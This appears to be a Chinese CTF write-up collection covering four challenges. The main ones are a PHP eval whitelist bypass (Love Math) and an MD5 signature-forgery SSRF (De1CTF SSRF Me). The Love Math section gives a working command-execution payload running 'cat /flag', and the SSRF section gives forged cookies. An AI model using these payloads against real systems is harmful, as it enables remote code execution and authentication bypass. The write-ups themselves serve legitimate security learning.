[CISCN 2019 初赛]Love Math1
打开题目
题目源码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
php中,我们可以将我们的函数名,通过字符串的方式进行传参,然后进行变量的动态调用函数而达到执行函数的目的
一开始是限制了传入参数的长度,然后有黑名单过滤,最后是白名单,这里的白名单是常用的数学函数。
先去传入一个参数,看一下是否能进行命令执行
/?c=19-1
得到
这里黑名单过滤了不少东西,常规的cat/flag都不能使用了,这里有个知识点是php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system('cat/flag');
$a='system';
$a('cat/flag');
所以传参为
?c=(_GET\[a\])(_GET[b])&a=system&b=cat /flag
得到
替换一下
?c=(_GET\[pi\])(_GET[abs])&pi=system&abs=cat /flag
依旧是
但是这里的_GET是无法进行直接替换,而且[]也被黑名单过滤了
这里就需要去了解一下他给的白名单里面的函数了
这里说一下需要用到的几个函数
这里先将_GET来进行转换的函数
hex2bin() 函数
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
这里的_GET是ASCII 字符,用在线工具将_GET转换为十六进制
hex2bin(5f 47 45 54) 就是 _GET,但是hex2bin()函数也不是白名单里面的,而且这里的5f 47 45 54也不能直接填入,这里会被
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
来进行白名单的检测。
这里的hex2bin()函数可以通过base_convert()函数来进行转换
base_convert()函数能够在任意进制之间转换数字
这里的hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin
hex2bin=base_convert(37907361743,10,36)
然后里面的5f 47 45 54要用dechex()函数将10进制数转换为16进制的数
dechex(1598506324),1598506324转换为16进制就是5f 47 45 54
最后payload为
/?c=pi=base_convert(37907361743,10,36)(dechex(1598506324));(pi){pi}(($pi){abs})&pi=system&abs=cat /flag
得到flag
[BSidesCF 2019]Futurella1
打开题目
页面英文提示:阻止外星人!我们在垃圾箱里发现了这张纸条。我们认为它来自入侵的外星人!你能读一下吗?
查看源代码直接就得到了flag
最后还发现,直接将所有内容复制到其他地方会看到原本文字
Resistance is futile! Bring back Futurella or we'll invade!
Also, the flag is flag{ddc88d97-0505-4a91-b442-e7bd74b02358}
[De1CTF 2019]SSRF Me1
查看提示得到
打开题目
题目代码很乱,可放在pycharm里Ctrl+Alt+L将代码格式化一下
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
先看/De1ta这个路由
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
可以看到在/De1ta页面我们get方法传入param参数值,在cookie里面传递action和sign的值
然后将传递的param通过waf这个函数。
if(waf(param)):
return "No Hacker!!!!"
先去看waf函数
waf函数找到以gopher或者file开头的,所以在这里过滤了这两个协议,使我们不能通过协议读取文件
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
接着在challenge里面,用我们传进去的参数构造一个Task类对象,并且执行它的Exec方法
我们接着去看Exec方法
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
这是Exec方法
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
先通过checkSign方法检测登录。
到checkSign方法里面去看看
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
我们传入的参数action和param经过getSign这个函数之后与sign相等,就返回true
返回true之后则进入if语句里面,来追踪一下getSign这个函数,它主要是三个东西拼接然后进行md5
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
/geneSign这个路由可以生成我们需要的md5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
它的action只有"scan",我们回到之前 if (self.checkSign()):中,当它为真会执行它下面的两条if语句
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
就是action中必须要有"scan"和"read"两个才能读取flag
试着访问了一下 /geneSign?param=flag.txt ,给出了一个 md5 4699ef157bee078779c3b263dd895341 ,但是只有 scan 的功能,想加入 read 功能就要另想办法了
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
看了一下逻辑,在 getSign 处很有意思
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
不妨假设 secert_key 是 xxx ,那么在开始访问 /geneSign?param=flag.txt 的时候,返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ,在 python 里面上述表达式就相当于 md5(xxxflag.txtscan) ,这就很有意思了。
直接构造访问 /geneSign?param=flag.txtread ,拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ,等价于 md5('xxxflag.txtreadscan') ,这就达到了目标。
访问 /De1ta?param=flag.txt 构造 Cookie: sign=7a2a235fcc9218dfe21e4eb400a11b5e;action=readscan 即可
发包
[ACTF新生赛2020]base64隐写1
解压得到一个图片和一个文档
扫码啥也没有(被骗了扫码关注人家的公众号了)
base64隐写
,利用脚本
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res
def solve_stego():
with open('ComeOn!.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
print diff
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
print goflag(bin_str)
def goflag(bin_str):
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str
if __name__ == '__main__':
solve_stego()
得到
0
ACTF{6aseb4_f33!}
所以flag为
flag{6aseb4_f33!}
参考文章: